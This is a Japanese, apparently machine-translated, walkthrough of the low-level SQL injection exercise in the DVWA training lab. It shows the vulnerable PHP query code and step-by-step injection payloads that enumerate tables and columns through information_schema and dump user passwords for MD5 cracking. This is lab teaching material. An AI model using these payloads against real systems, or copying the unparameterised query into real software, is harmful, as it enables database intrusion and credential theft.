DVWA-SQLインジェクション(低)

SQLインジェクション

インターフェース

ここに画像の説明を挿入

ソースコード

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    
    
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
    
    
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {
    
    $id}<br />First name: {
    
    $first}<br />Surname: {
    
    $last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

コード分​​析

        ユーザーが[送信]をクリックすると、ユーザーはユーザーが入力したIDを取得し、対応するfirst_nameとlast_nameを出力します。ユーザーが入力したIDは法的に判断されていないため、SQLインジェクションが発生しやすいことがわかります。

浸透ステップ

        ステップ1:1を入力して結果を表示します
ここに画像の説明を挿入
        ステップ2:結果を入力1‘ or ‘1’=’1して表示しますデータベースにすべてのIDデータがあることがわかるので、実際にSQLの脆弱性があることがわかります
ここに画像の説明を挿入
        ステップ3:フィールドを推測しますorder byによる現在のライブラリの入力1' or 1=1 order by 1 #、入力結果は正常です
ここに画像の説明を挿入
        ステップ4:order byによる現在のデータベースのフィールドを推測します、input 1' or 1=1 order by 2 #、入力結果は正常です
ここに画像の説明を挿入
        ステップ5:入力1' or 1=1 order by 3 #、入力結果は異常です、現在のデータベース名と姓の2つのフィールドしかありません
ここに画像の説明を挿入
        ステップ6:入力すると1' union select 1,2、データの2番目の列に1、2があることがわかります。1、2の値を変更して、必要なデータを取得できます。
ここに画像の説明を挿入
        ステップ7:前の推測をテストし、Enter1' union select database(),version()#キーを押して現在のデータベース名とデータベースバージョンを取得します。結果を確認して、unionselectを使用して目的のデータを取得できることを確認します。
ここに画像の説明を挿入
        ステップ8:1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#データベースにテーブル名前を入力します。
ここに画像の説明を挿入
        ステップ9:取得した16進コードをデコードして、実際のテーブル名(guestbook、users)を取得します。テーブルは2つだけです。
ここに画像の説明を挿入
        ステップ10:1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name='users' #usersテーブルにフィールド名を入力して表示します
ここに画像の説明を挿入
ここに画像の説明を挿入
        。 11のステップ:1' union select first_name,password from users#ユーザー名とパスワードを入力して照会する
ここに画像の説明を挿入
        ステップ12:md5復号化ツールを使用して、取得したパスワードを復号化すると、結果が正しいことがわかります。
ここに画像の説明を挿入

発生した問題

        1. 8番目と10番目のステップで16進関数が使用されるのはなぜですか?
解決策:16進関数が使用されない場合、エラーが報告されます。これはエンコードに起因する問題が原因です。
エラー画像:
ここに画像の説明を挿入
        2。データベースがmd5暗号化
方式を使用していること:推測、頑張ってください

おすすめ

転載: blog.csdn.net/qq_37589805/article/details/112279906